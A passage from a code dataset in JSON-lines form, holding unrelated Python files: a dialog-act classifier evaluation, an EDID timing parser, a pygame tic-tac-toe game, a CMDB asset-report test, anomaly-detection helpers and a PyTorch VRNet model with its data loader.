app.run()\n","repo_name":"adrinu/tdeAPI","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17202861126","text":"# load libraries\nimport os \nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\nfrom sklearn.metrics import ConfusionMatrixDisplay\nimport matplotlib.pyplot as plt\nfrom baselines import baseline_classification2\nfrom NN1 import NeuralNet\nfrom lr import predict_lr\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n#from lr import create_model as create_lr_model\n\n# read dataset as dataframe\ndf = pd.read_table(\"Data/dialog_acts.dat\", index_col=False, names=[\"words\"])\nlabel = []\ntext = []\n# choose the column\nline_list = df.iloc[:, 0]\n# create new dataframe to create new dataset for training\ndt = pd.DataFrame(columns=['dialogue', 'uttr'])\n# extract the first word from string\nfor line in line_list:\n first_word = line.split()[0]\n uttr = line.replace(\"{} \".format(first_word), '')\n label.append(first_word.lower())\n text.append(uttr.lower())\n\n# prepare trainset and testset\nx_train, x_test, y_train, y_test = train_test_split(text, label, test_size=0.15, random_state=0)\n\nnn = NeuralNet()\n\n# run a model using utterances and dialogue and return the predicted dialogue class for the utterance\ndef run_features(utterances, dialogue, model):\n predictions = []\n i = 0\n for utterance in utterances:\n classification = model(utterance)\n predictions.append(classification)\n i += 1\n\n return predictions\n\n\n# print the accuracy, precision, recall, and f1 score for the predicted dialogue classes and plot a confusion matrix\ndef calculate_metrics(predictions, dialogue):\n disp = ConfusionMatrixDisplay.from_predictions(dialogue, predictions, xticks_rotation='vertical')\n acc = accuracy_score(dialogue, predictions)\n recall = recall_score(dialogue, predictions, average='weighted')\n precision = precision_score(dialogue, predictions, average='weighted')\n f1 = f1_score(dialogue, predictions, average='weighted')\n print(\"Accuracy: \" + str(acc) + \" ,F1: \" + str(f1), \" ,Recall: \" + str(recall), \" ,Precision: \" + str(precision))\n plt.show()\n print(disp)\n\n\n#plot and print measurments for NN and baseline\n#we do it for Logistic regrssion in the lr.py\nbaseline_predictions = run_features(x_test, y_test, baseline_classification2)\ncalculate_metrics(baseline_predictions, y_test)\n\nnn_predictions = run_features(x_test, y_test, nn.predict)\ncalculate_metrics(nn_predictions, y_test)","repo_name":"Parsabzh/Chatbot","sub_path":"Assignment_1A.py","file_name":"Assignment_1A.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"4969435151","text":"from modules.EdidChunk import EdidChunk\n\n\nclass EstablishedTimingBitmap(EdidChunk):\n timings = {\n 0: {\n 7: \"720x400 @ 70 Hz (VGA)\",\n 6: \"720x400 @ 88 Hz (XGA)\",\n 5: \"640x480 @ 60 Hz (VGA)\",\n 4: \"640x480 @ 67 Hz (Apple Macintosh II)\",\n 3: \"640x480 @ 72 Hz\",\n 2: \"640x480 @ 75 Hz\",\n 1: \"800x600 @ 56 Hz\",\n 0: \"800x600 @ 60 Hz\"\n },\n\n 1: {\n 7: \"800x600 @ 72 Hz\",\n 6: \"800x600 @ 75 Hz\",\n 5: \"832x624 @ 75 Hz (Apple Macintosh II)\",\n 4: \"1024x768 @ 87 Hz, interlaced (1024x768i)\",\n 3: \"1024x768 @ 60 Hz\",\n 2: \"1024x768 @ 70 Hz\",\n 1: \"1024x768 @ 75 Hz\",\n 0: \"1280x1024 @ 75 Hz\"\n },\n\n 2: {\n 7: \"1152x870 @ 75 Hz (Apple Macintosh II)\"\n }\n }\n\n def __init__(self):\n\n super(EstablishedTimingBitmap, self).__init__(\"Established Timing Modes\", 35, 3)\n\n def get_supported_timings(self):\n\n timings = []\n\n for idx, bitfield in enumerate(self.bytes):\n\n for key, val in self.timings[idx].items():\n\n timing_supported = (bitfield >> key) & 1\n\n if timing_supported:\n timings.append(val)\n\n return timings\n\n def human_readable(self, indent_no=0):\n\n supported = self.get_supported_timings()\n\n if len(supported) == 0:\n return \"Unused\"\n else:\n return \"\".join([\"\\n{}\".format(self.indented(timing, indent_no + 1)) for timing in supported])\n","repo_name":"cubisttriangle/edid_tool","sub_path":"modules/EstablishedTimingBitmap.py","file_name":"EstablishedTimingBitmap.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"27911266932","text":"import pygame\nimport time\npygame.init()\nscreen = pygame.display.set_mode((400, 400))\nboard = [ # 0 is empty, 1 is X, 2 is O\n [0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]\n]\nlx = []\nlo = []\nturn = False # True is x False is y\nstate = 0 # 0 is intro screen, 1 is game screen, 2 is game end\ns1 = pygame.Rect(95, 95, 95, 95)\ns1.topleft = (51, 51)\ns2 = pygame.Rect(95, 95, 95, 95)\ns2.topleft = (154, 51)\ns3 = pygame.Rect(95, 95, 95, 95)\ns3.topleft = (255, 51)\ns4 = pygame.Rect(95, 95, 95, 95)\ns4.topleft = (51, 154)\ns5 = pygame.Rect(95, 95, 95, 95)\ns5.topleft = (154, 154)\ns6 = pygame.Rect(95, 95, 95, 95)\ns6.topleft = (255, 154)\ns7 = pygame.Rect(95, 95, 95, 95)\ns7.topleft = (51, 255)\ns8 = pygame.Rect(95, 95, 95, 95)\ns8.topleft = (154, 255)\ns9 = pygame.Rect(95, 95, 95, 95)\ns9.topleft = (255, 255)\n\nx = pygame.transform.scale(pygame.image.load(\"Assets/x.png\"), (95, 95)).convert_alpha()\no = pygame.transform.scale(pygame.image.load(\"Assets/o.png\"), (85, 85)).convert_alpha()\nx_rec = x.get_rect(center=(100, 100))\n\nfont = pygame.font.Font('Assets/arial.ttf', 30)\nwinner_text = \"Hello\"\n\ndef draw():\n screen.fill((3, 252, 240))\n pygame.draw.line(screen, \"black\", (50, 150), (350, 150), 10)\n pygame.draw.line(screen, \"black\", (50, 250), (350, 250), 10)\n pygame.draw.line(screen, \"black\", (150, 50), (150, 350), 10)\n pygame.draw.line(screen, \"black\", (250, 50), (250, 350), 10)\n\n\ndef solution(board):\n global winner_text\n choice = board[0][0] # Check diagonally\n if board[1][1] == choice and board[2][2] == choice and choice != 0:\n if choice == 1:\n winner_text = \"The winner is Player X!\"\n else:\n winner_text = \"The winner is Player O!\"\n return True\n choice = board[0][2]\n if board[1][1] == choice and board[2][0] == choice and choice != 0:\n if choice == 1:\n winner_text = \"The winner is Player X!\"\n else:\n winner_text = \"The winner is Player O!\"\n return True\n for i in board: # check horizontally\n if i[0] == i[1] == i[2] and i[0] != 0:\n if i[0] == 1:\n winner_text = \"The winner is Player X!\"\n else:\n winner_text = \"The winner is Player O!\"\n return True\n for i in range(3): # check vertically\n if board[0][i] == board[1][i] == board[2][i] and board[0][i] != 0:\n if board[0][i] == 1:\n winner_text = \"The winner is Player X!\"\n else:\n winner_text = \"The winner is Player O!\"\n return True\n return False\n\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n exit()\n if event.type == pygame.MOUSEBUTTONDOWN and state == 0:\n if text_rec2.collidepoint(event.pos):\n state = 1\n if event.type == pygame.MOUSEBUTTONDOWN:\n if state == 2 and text_rec2.collidepoint(event.pos):\n lo.clear()\n lx.clear()\n board = [ # 0 is empty, 1 is X, 2 is O\n [0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]\n ]\n state = 1\n if state == 2 and text_rec3.collidepoint(event.pos):\n pygame.quit()\n exit()\n if s1.collidepoint(event.pos) and board[0][0] == 0:\n if turn:\n lx.append(x.get_rect(center=(100, 100)))\n turn = False\n board[0][0] = 1\n else:\n lo.append(o.get_rect(center=(100, 100)))\n turn = True\n board[0][0] = 2\n if s2.collidepoint(event.pos) and board[0][1] == 0:\n if turn:\n lx.append(x.get_rect(center=(205, 100)))\n turn = False\n board[0][1] = 1\n else:\n lo.append(o.get_rect(center=(197, 100)))\n turn = True\n board[0][1] = 2\n if s3.collidepoint(event.pos) and board[0][2] == 0:\n if turn:\n lx.append(x.get_rect(center=(305, 100)))\n turn = False\n board[0][2] = 1\n else:\n lo.append(o.get_rect(center=(300, 100)))\n turn = True\n board[0][2] = 2\n if s4.collidepoint(event.pos) and board[1][0] == 0:\n if turn:\n lx.append(x.get_rect(center=(100, 200)))\n turn = False\n board[1][0] = 1\n else:\n lo.append(o.get_rect(center=(100, 200)))\n turn = True\n board[1][0] = 2\n if s5.collidepoint(event.pos) and board[1][1] == 0:\n if turn:\n lx.append(x.get_rect(center=(205, 200)))\n turn = False\n board[1][1] = 1\n else:\n lo.append(o.get_rect(center=(197, 200)))\n turn = True\n board[1][1] = 2\n if s6.collidepoint(event.pos) and board[1][2] == 0:\n if turn:\n lx.append(x.get_rect(center=(305, 200)))\n turn = False\n board[1][2] = 1\n else:\n lo.append(o.get_rect(center=(300, 200)))\n turn = True\n board[1][2] = 2\n if s7.collidepoint(event.pos) and board[2][0] == 0:\n if turn:\n lx.append(x.get_rect(center=(100, 300)))\n turn = False\n board[2][0] = 1\n else:\n lo.append(o.get_rect(center=(100, 300)))\n turn = True\n board[2][0] = 2\n if s8.collidepoint(event.pos) and board[2][1] == 0:\n if turn:\n lx.append(x.get_rect(center=(205, 300)))\n turn = False\n board[2][1] = 1\n else:\n lo.append(o.get_rect(center=(197, 300)))\n turn = True\n board[2][1] = 2\n if s9.collidepoint(event.pos) and board[2][2] == 0:\n if turn:\n lx.append(x.get_rect(center=(305, 300)))\n turn = False\n board[2][2] = 1\n else:\n lo.append(o.get_rect(center=(300, 300)))\n turn = True\n board[2][2] = 2\n if state == 0:\n screen.fill((3, 252, 240))\n text = font.render(\"Tic Tac Toe\", True, 'blue')\n text_rec = text.get_rect(center=(200, 100))\n screen.blit(text, text_rec)\n text2 = font.render(\"Start\", True, 'blue')\n text_rec2 = text2.get_rect(center=(200, 370))\n screen.blit(text2, text_rec2)\n\n if state == 1:\n if turn:\n text = font.render(\"Turn: X\", True, 'Red')\n text_rec = text.get_rect(center=(200, 30))\n else:\n text = font.render(\"Turn: O\", True, 'skyblue')\n text_rec = text.get_rect(center=(200, 30))\n draw()\n screen.blit(text, text_rec)\n for i in lx:\n screen.blit(x, i)\n for i in lo:\n screen.blit(o, i)\n if solution(board):\n state = 2\n elif len(lx) + len(lo) == 9:\n state = 2\n if state == 2:\n text = font.render(winner_text, True, 'blue')\n text_rec = text.get_rect(center=(200, 200))\n text2 = font.render(\"Restart\", True, 'blue')\n text_rec2 = text2.get_rect(center=(200, 380))\n text3 = font.render(\"Quit\", True, 'blue')\n text_rec3 = text3.get_rect(center=(50, 380))\n screen.blit(text, text_rec)\n screen.blit(text2, text_rec2)\n screen.blit(text3, text_rec3)\n pygame.display.update()\n","repo_name":"JYANG2002/Pygame","sub_path":"TicTacToe/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":7995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"6662924650","text":"# -*- coding:utf-8 -*-\nimport json\n\nimport urllib.request\nimport urllib.parse\n\nimport os\nimport sys\n\nBASE_DIR = os.path.dirname(os.getcwd())\n# 设置工作目录,使得包和模块能够正常导入\nsys.path.append(BASE_DIR)\nfrom conf import settings\n\n\ndef update_test(data):\n \"\"\"\n 创建测试用例\n :return:\n \"\"\"\n # 将数据打包到一个字典内,并转换为json格式\n datas = {\"asset_data\": json.dumps(data)}\n # 根据settings中的配置,构造url\n url = \"http://%s:%s%s\" % (settings.Params['server'], settings.Params['port'], settings.Params['url'])\n print('正在将数据发送至: [%s] ......' % url)\n try:\n # 使用Python内置的urllib.request库,发送post请求。\n # 需要先将数据进行封装,并转换成bytes类型\n data_encode = urllib.parse.urlencode(datas).encode()\n response = urllib.request.urlopen(url=url, data=data_encode, timeout=settings.Params['request_timeout'])\n print(\"\\033[31;1m发送完毕!\\033[0m \")\n message = response.read().decode()\n print(\"返回结果:%s\" % message)\n except Exception as e:\n message = \"发送失败\"\n print(\"\\033[31;1m发送失败,%s\\033[0m\" % e)\n\n\nif __name__ == '__main__':\n data = {\n \"aud_sn\": \"Ser-025\", # 资产序列号(唯一)\n \"aud_asset_type\": \"server\", # 资产类型(server-服务器,securitydevice-安全设备,networkdevice-网络设备,otherdevice-其它设备)\n \"aud_name\": \"WEB通行证\", # 资产名称\n \"aud_manage_ip\": \"10.0.0.1\", # 管理IP\n \"aud_in_ip\": \"192.168.0.1\", # 内网IP\n \"aud_out_ip\": \"202.106.0.1\", # 外网IP\n \"aud_visit_url\": \"www.xxx.com\", # 域名/URL\n \"aud_url_status\": \"200\", # 状态码\n \"aud_business_style\": \"web\", # 业务类型\n \"aud_department_per\": \"鹿晗\", # 总负责人\n \"aud_phone\": \"13829328231\", # 总负责人-电话\n \"aud_mail\": \"luhan@test.com\", # 总负责人-邮箱\n \"aud_regional\": \"DMZ区\", # 部署区域\n \"aud_deployment\": \"串接\", # 部署方式\n \"aud_status\": \"0\", # 资产状态(0-在线,1-下线,2-未知,3-故障,4-备用)\n \"aud_le_status\": \"0\", # 重要程度(0-非常高,1-高,2-中,3-低,4-可忽略)\n \"aud_memo\": \"上线时间-2020年1月1日\", # 备注\n \"ser_sub_asset_type\": \"1\", # 服务器类型(0-物理服务器,1-虚拟机,2-其它设备)\n \"ser_os_type\": \"CentOS\", # 操作系统类型\n \"ser_os_release\": \"7.1\", # 操作系统版本\n \"ser_model\": \"Core3.2312.41\", # 内核信息\n \"ser_department_per\": \"梁山伯\", # 系统负责人\n \"ser_phone\": \"13287463134\", # 系统负责人-电话\n \"ser_mail\": \"2sdfoe@test.com\", # 系统负责人-邮箱\n \"ser_memo\": \"需要重新安装操作系统\", # 服务器备注\n \"idc_name\": \"苏州桥机房\", # 机房名称\n \"idc_link\": \"移动\", # 链路信息\n \"idc_cab\": \"第1机柜\", # 机柜名称\n \"idc_num\": \"bcs-123\", # 编号信息\n \"idc_memo\": \"新购02\", # 机房备注\n \"serv_ser\": \"web|tomcat|mysql|\", # 服务\n \"serv_port\": \"80|8080|3306\", # 开放端口\n \"serv_visit\": \"www.csdfsfasv.com|Null\", # 访问方式\n \"serv_memo\": \"需要更换熟知端口\", # 服务备注\n \"data_model\": \"MongDB\", # 数据库类型\n \"data_version\": \"ss32.123\", # 数据库版本\n \"data_department_per\": \"宋茜\", # 数据库负责人\n \"data_phone\": \"18721341241\", # 数据库负责人-电话\n \"data_mail\": \"songqian@test.com\", # 数据库负责人-邮箱\n \"data_memo\": \"需优化\", # 数据库备注\n \"mid_model\": \"TeTomcat\", # 中间件类型\n \"mid_version\": \"8.3.1\", # 中间件版本\n \"mid_department_per\": \"赵四\", # 中间件负责人\n \"mid_phone\": \"17723123122\", # 中间件负责人-电话\n \"mid_mail\": \"chzhoaben@test.com\", # 中间件负责人-邮箱\n \"mid_memo\": \"计划下线时间2月\", # 中间件备注\n \"man_name\": \"奇安信\", # 服务商\n \"man_frame\": \"Django\", # 框架\n \"man_language\": \"Java\", # 开发语言\n \"man_version\": \"23.123\", # 版本\n \"man_department\": \"系统开发部\", # 服务商部门\n \"man_department_per\": \"杨开慧\", # 服务商负责人\n \"man_phone\": \"12831412314\", # 服务商负责人-电话\n \"man_mail\": \"2o3423@test.com\", # 服务商负责人-邮箱\n \"man_memo\": \"安全新高峰\" # 服务商备注\n }\n update_test(data)\n\n\n\n","repo_name":"Michael-Scofields/CMDB-Sec","sub_path":"Client/bin/report_test.py","file_name":"report_test.py","file_ext":"py","file_size_in_byte":4864,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"24740179185","text":"import pandas as pd\nimport numpy as np\n\nfrom waternet_anomaly_detection.DataValidation import UnivariateAD\nfrom autoencoderPreprocessor.dataPreprocessor import DataGenerator\n\n\ndef single_anomaly_detection(raw_data=None, tag=None):\n \"\"\"\n A function to call the single anomaly detection methods for a given inputted raw data\n :param raw_data: raw data point(s) assessed for anomalies\n :param tag: tag of the signal the data is from. It must be a tag that is in the metadata json file.\n :return: A pd.DataFrame containing the flags of the different anomaly detection methods\n \"\"\"\n\n # Checking for single value based anomalies, such as negative values or zero values by creating\n # a class instance of the data validation univariate AD.\n ad = UnivariateAD(data=raw_data, tag=tag, correct_format_tseries=False)\n\n # Detection of threshold breaches\n single_anomalies = ad.threshold_detection(threshold_type='process')\n single_anomalies.rename(columns={tag: 'threshold'}, inplace=True)\n # Detection of negative values\n single_anomalies['negative_value'] = ad.negativevalues_detection\n # Detection of zero values\n single_anomalies['zero_value'] = ad.zerovalues_detection\n # Detection of nan values\n single_anomalies['nan_value'] = ad.nanvalues_detection\n\n # If there are single anomalies detected, the flagging will be returned for the value,\n # including, what anomaly detection technique caused the flag (by the name of the column).\n\n return single_anomalies\n\n\ndef flatline_anomaly_detection(raw_data=None, tag=None, in_flatline=False):\n \"\"\"\n A function to call the flatline anomaly detection method\n :param raw_data: sequential raw data points assessed to be the flatline\n :param tag: tag of the signal the data is from. It must be a tag that is in the metadata json file.\n :param in_flatline: A variable to check whether the current point is part of a flatline. Mostly unused.\n :return: pd.DataFrame that includes the flag of the last point of the input (the point assessed for an anomaly).\n \"\"\"\n ad_flatline = UnivariateAD(data=raw_data, tag=tag, correct_format_tseries=False)\n flatline_anomalies = ad_flatline.flatline_detection(min_length=3, in_flatline=in_flatline)\n\n return flatline_anomalies\n\n\ndef autoencoder_predictor(history=None, model=None, power_transformer=None, resolution='5min'):\n \"\"\"\n A function to preprocess the raw data (resample and normalise), conduct a prediction and\n denormalise back.\n :param history: Historical data inputted to make a one step ahead prediction.\n :param model: The AI autoencoder model used to make a prediction.\n :param power_transformer: The saved powertransformer fitted based on the training data used\n :param resolution: Resolution of the data that determines which model is used (5min or 30 min)\n :return: The one step ahead predicted value.\n \"\"\"\n\n # Acquiring the n_steps needed to convert the history into a sequence\n if resolution == '5min':\n n_steps = 36\n else:\n n_steps = 48\n\n # Creating a DataGenerator instance to preprocess data for predictions\n dg_norm = DataGenerator(history)\n # Processing data to be resampled, normalised and converted to a numpy array\n normalised_data = dg_norm.prep_data_to_array(to_resample=True, resample=resolution,\n to_normalise=True, normaliser=power_transformer)\n # Creating a sequence of the normalised data\n sequence = dg_norm.split_sequence(sequence=normalised_data, n_steps=n_steps)\n\n # Preforming a prediction with the model.\n current_pred = model.predict(sequence)[0][0]\n\n # Denormalising the prediction\n pred_denorm = dg_norm.denormalise_data(predictions=np.array([current_pred]),\n normaliser=power_transformer)[0][0]\n\n # Returning the current autoencoder prediction\n return pred_denorm\n\n\ndef reconcile_anomalies(raw_data=None, anomalies=None, prediction=None):\n \"\"\"\n A function to conduct the reconcilation of a data point, based on the anomaly flag determined.\n It will assess whether it should return the raw data itself or the predicted value from the\n autoencoder\n :param raw_data: Raw data point that was assessed to be an anomaly.\n :param anomalies: Anomaly flags for the given raw data point.\n :param prediction: Predicted value as calculated from an autoencoder prediction.\n :return: Returns the raw data point or predicted value based on the reconciliation.\n \"\"\"\n\n if anomalies.any(axis=None).sum() >= 1:\n columns = list(raw_data.columns.values.tolist())\n return pd.DataFrame(data={columns[0]: prediction}, index=raw_data.index)\n else:\n return raw_data\n\n\ndef autoencoder_aggregation(processed_5_min=None, processed_30_min=None, tag=None, ratio_of_importance=0.1,\n resample_target='15min'):\n \"\"\"\n A function to conduct the aggregation of the intermediate data streams as computed from the\n individual reconciliations of the 5 min and 30 min raw data streams.\n :param processed_5_min: Intermediate 5 min processed data\n :param processed_30_min: Intermediate 30 min processed data\n :param tag: tag of the signal the data is from. It must be a tag that is in the metadata json file.\n :param ratio_of_importance: Importance value given to the higher resolution data stream.\n :param resample_target: Final resample target desired. Default is 15 mins\n :return: Returns the aggregated data at the desired resolution\n \"\"\"\n\n processed_30_min_resampled_5_min = processed_30_min.resample('5min').interpolate(method='linear')\n beta = np.log(ratio_of_importance) / 6\n\n w = pd.DataFrame(data={tag: np.exp(6 * beta * pd.Series(range(len(processed_30_min_resampled_5_min))))})\n w.index = processed_5_min.index\n processed_data = pd.DataFrame(data=w[tag] * processed_5_min[tag] + (1 - w[tag]) * processed_30_min_resampled_5_min[tag])\n\n # Resampling data to the resample target\n reconciled_signal = processed_data.resample(resample_target).mean()\n\n return reconciled_signal\n","repo_name":"KWR-Water/F4W-AI-DVR","sub_path":"ai_data_validation_reconciliation/src/AI_data_validation.py","file_name":"AI_data_validation.py","file_ext":"py","file_size_in_byte":6156,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"28338118745","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nfrom torch.utils.data import Dataset\nimport os\nimport numpy as np\nimport matplotlib as plt\nfrom PIL import Image\n\n## SpatialSoftmax implementation taken from https://gist.github.com/jeasinema/1cba9b40451236ba2cfb507687e08834\nclass SpatialSoftmax(torch.nn.Module):\n def __init__(self, height, width, channel, temperature=None, data_format='NCHW'):\n super(SpatialSoftmax, self).__init__()\n self.data_format = data_format\n self.height = height\n self.width = width\n self.channel = channel\n\n if temperature:\n self.temperature = torch.nn.Parameter(torch.ones(1)*temperature)\n else:\n self.temperature = 1.\n\n pos_x, pos_y = np.meshgrid(\n np.linspace(-1., 1., self.height),\n np.linspace(-1., 1., self.width)\n )\n pos_x = torch.from_numpy(pos_x.reshape(self.height*self.width)).float()\n pos_y = torch.from_numpy(pos_y.reshape(self.height*self.width)).float()\n self.register_buffer('pos_x', pos_x)\n self.register_buffer('pos_y', pos_y)\n\n def forward(self, feature):\n if self.data_format == 'NHWC':\n feature = feature.transpose(1, 3).tranpose(2, 3).view(-1, self.height*self.width)\n else:\n feature = feature.view(-1, self.height*self.width)\n\n softmax_attention = F.softmax(feature/self.temperature, dim=-1)\n expected_x = torch.sum(self.pos_x*softmax_attention, dim=1, keepdim=True)\n expected_y = torch.sum(self.pos_y*softmax_attention, dim=1, keepdim=True)\n expected_xy = torch.cat([expected_x, expected_y], 1)\n feature_keypoints = expected_xy.view(-1, self.channel*2)\n\n return feature_keypoints\n\n#Implementation of Network from Figure 3 (on pg 4) of paper\nclass VRNet(nn.Module):\n def __init__(self):\n super(VRNet, self).__init__()\n # Convolution 1 160x120x4 -> 77x57x240\n self.conv1_rgbTop = nn.Conv2d(3, 64, 7, padding='valid', stride=2)\n self.conv1_depthTop = nn.Conv2d(1, 16, 7, padding='valid', stride=2)\n self.conv1_rgbEff = nn.Conv2d(3, 64, 7, padding='valid', stride=2)\n self.conv1_depthEff = nn.Conv2d(1, 16, 7, padding='valid', stride=2)\n self.conv1_rgbSide = nn.Conv2d(3, 64, 7, padding='valid', stride=2)\n self.conv1_depthSide = nn.Conv2d(1, 16, 7, padding='valid', stride=2)\n \n # Convolution 2 77x57x240 -> 77x57x32\n self.conv2 = nn.Conv2d(240, 32, 1, padding='same')\n self.conv2_bn = nn.BatchNorm2d(32, eps=0.001, momentum=0.99)\n # Convolution 3 77x57x43 -> 75x55x32\n self.conv3 = nn.Conv2d(32, 32, 3, padding='valid')\n self.conv3_bn = nn.BatchNorm2d(32, eps=0.001, momentum=0.99)\n # Convolution 4 75x55x32 -> 73x53x32\n self.conv4 = nn.Conv2d(32, 32, 3, padding='valid')\n self.conv4_bn = nn.BatchNorm2d(32, eps=0.001, momentum=0.99)\n\n # spatial softmax\n self.spatialSoftmax = SpatialSoftmax(53, 73, 32, temperature=1, data_format='NCHW')\n\n self.flatten = nn.Flatten()\n\n #fully connected layers\n self.fc1 = nn.Linear(64, 50)\n self.fc1_bn = nn.BatchNorm1d(50, eps=0.001, momentum=0.99)\n self.fc2 = nn.Linear(50, 50)\n self.fc2_bn = nn.BatchNorm1d(50, eps=0.001, momentum=0.99)\n self.fc3 = nn.Linear(50, 50)\n self.fc3_bn = nn.BatchNorm1d(50, eps=0.001, momentum=0.99)\n self.fc4 = nn.Linear(50, 7) # Vx, Vy, Vz, Wx, Wy, Wz, grabber open\n\n #set conv1_rgb weights to be first layer from pretrained model\n googlenet = torchvision.models.googlenet(pretrained=True)\n self.conv1_rgbTop.weight.data = googlenet.conv1.conv.weight.data\n\n #weights should be uniformly sampled from [-0.1, 0.1]\n self.conv1_depthTop.weight.data.uniform_(-0.1, 0.1)\n self.conv1_rgbEff.weight.data.uniform_(-0.1, 0.1)\n self.conv1_depthEff.weight.data.uniform_(-0.1, 0.1)\n self.conv1_rgbSide.weight.data.uniform_(-0.1, 0.1)\n self.conv1_depthSide.weight.data.uniform_(-0.1, 0.1)\n self.conv2.weight.data.uniform_(-0.1, 0.1)\n self.conv3.weight.data.uniform_(-0.1, 0.1)\n self.conv4.weight.data.uniform_(-0.1, 0.1)\n\n self.fc1.weight.data.uniform_(-0.1, 0.1)\n self.fc2.weight.data.uniform_(-0.1, 0.1)\n self.fc3.weight.data.uniform_(-0.1, 0.1)\n self.fc4.weight.data.uniform_(-0.1, 0.1)\n\n def forward(self, rgbTopImg, depthTopImg, rgbEffImg, depthEffImg, rgbSideImg, depthSideImg):\n #conv layers\n x_rgbTop = F.relu(self.conv1_rgbTop(rgbTopImg))\n x_depthTop = F.relu(self.conv1_depthTop(depthTopImg))\n x_rgbEff = F.relu(self.conv1_rgbEff(rgbEffImg))\n x_depthEff = F.relu(self.conv1_depthEff(depthEffImg))\n x_rgbSide = F.relu(self.conv1_rgbSide(rgbSideImg))\n x_depthSide = F.relu(self.conv1_depthSide(depthSideImg))\n\n x = torch.cat((x_rgbTop, x_depthTop, x_rgbEff, x_depthEff, x_rgbSide, x_depthSide), 1)\n \n #implement convulutional layers with batch normalization\n x = F.relu(self.conv2(x))\n x = F.relu(self.conv3(x))\n x = F.relu(self.conv4(x))\n \n x = self.spatialSoftmax(x)\n x = self.flatten(x)\n\n #fully connected layers\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n x = self.fc4(x)\n return x\n\nclass VRDataLoader(Dataset):\n def __init__(self, data_dir, startRun, lastRun, batch_size=1):\n self.data_dir = data_dir\n self.startRun = startRun\n self.lastRun = lastRun\n self.batch_size = batch_size\n self.rgbTop_images, self.depthTop_images, self.rgbEff_images, self.depthEff_images, self.rgbSide_images, self.depthSide_images, self.states = self.load_data()\n self.arrayIndicies = list([i for i in range(len(self.rgbTop_images))])\n \n # print(len(self.rgb_images), len(self.depth_images), len(self.states))\n # assert(len(self.rgb_images) == len(self.depth_images) == len(self.states))\n\n def load_data(self):\n rgbsTop = []\n depthsTop = []\n rgbsEff = []\n depthsEff = []\n rgbsSide = []\n depthsSide = []\n states = []\n \n for k in range(self.lastRun - self.startRun):\n rgbTop_dir = os.path.join(self.data_dir, f'{k+self.startRun}', 'rgb_Top')\n depthTop_dir = os.path.join(self.data_dir, f'{k+self.startRun}', 'depth_Top')\n rgbEff_dir = os.path.join(self.data_dir, f'{k+self.startRun}', 'rgb_Eff')\n depthEff_dir = os.path.join(self.data_dir, f'{k+self.startRun}', 'depth_Eff')\n rgbSide_dir = os.path.join(self.data_dir, f'{k+self.startRun}', 'rgb_Side')\n depthSide_dir = os.path.join(self.data_dir, f'{k+self.startRun}', 'depth_Side')\n\n state_dir = os.path.join(self.data_dir, f'{k+self.startRun}', 'states')\n \n state_names = os.listdir(state_dir) #get all files in the directory\n state_names = [int(state_name[6:-4]) for state_name in state_names if state_name.endswith('.csv')] #only get the csv files\n \n num_points = sorted(state_names)\n print(num_points)\n lastState = None\n\n this_run_states = []\n for i in num_points:\n \n rgbTop_path = os.path.join(rgbTop_dir, f'rgb{i}.png')\n depthTop_path = os.path.join(depthTop_dir, f'depth{i}.png')\n rgbEff_path = os.path.join(rgbEff_dir, f'rgb{i}.png')\n depthEff_path = os.path.join(depthEff_dir, f'depth{i}.png')\n rgbSide_path = os.path.join(rgbSide_dir, f'rgb{i}.png')\n depthSide_path = os.path.join(depthSide_dir, f'depth{i}.png') \n \n state_path = os.path.join(state_dir, f'states{i}.csv')\n \n with open(state_path, 'r') as f:\n data = f.readlines()\n isOpen = int(data[0].split(',')[6])\n data = data[1].split(',')\n data.append(isOpen)\n #convert to pytorch tensor\n state = np.array([float(x) for x in data])\n this_state = np.zeros(7)\n this_state[0:6] = state[0:6]\n this_state[6] = state[6]\n this_run_states.append(this_state)\n \n if i == num_points[0]:\n continue\n \n rgbTop = Image.open(rgbTop_path)\n depthTop = Image.open(depthTop_path)\n rgbTop = torchvision.transforms.ToTensor()(rgbTop)\n depthTop = torchvision.transforms.ToTensor()(depthTop) \n rgbsTop.append(rgbTop)\n depthsTop.append(depthTop)\n\n rgbEff = Image.open(rgbEff_path)\n depthEff = Image.open(depthEff_path)\n rgbEff = torchvision.transforms.ToTensor()(rgbEff)\n depthEff = torchvision.transforms.ToTensor()(depthEff) \n rgbsEff.append(rgbEff)\n depthsEff.append(depthEff)\n\n rgbSide = Image.open(rgbSide_path)\n depthSide = Image.open(depthSide_path)\n rgbSide = torchvision.transforms.ToTensor()(rgbSide)\n depthSide = torchvision.transforms.ToTensor()(depthSide) \n rgbsSide.append(rgbSide)\n depthsSide.append(depthSide)\n\n #smooth out velocities with a gaussian for this run\n this_run_states = np.array(this_run_states, dtype=np.float32)\n \n size = 15\n sigma = 4\n filter_range = np.linspace(-int(size/2),int(size/2),size)\n gaussian_filter = [1 / (sigma * np.sqrt(2*np.pi)) * np.exp(-x**2/(2*sigma**2)) for x in filter_range]\n \n #smooth out positions with a gaussian\n for i in range(6):\n this_run_states[:, i] = np.convolve(this_run_states[:, i], gaussian_filter, mode='same')\n #take numerical derivative of position to get velocity\n this_run_states[:-1, 0:6] = np.diff(this_run_states[:, 0:6], axis=0)\n \n this_run_states = this_run_states[1:, :]\n 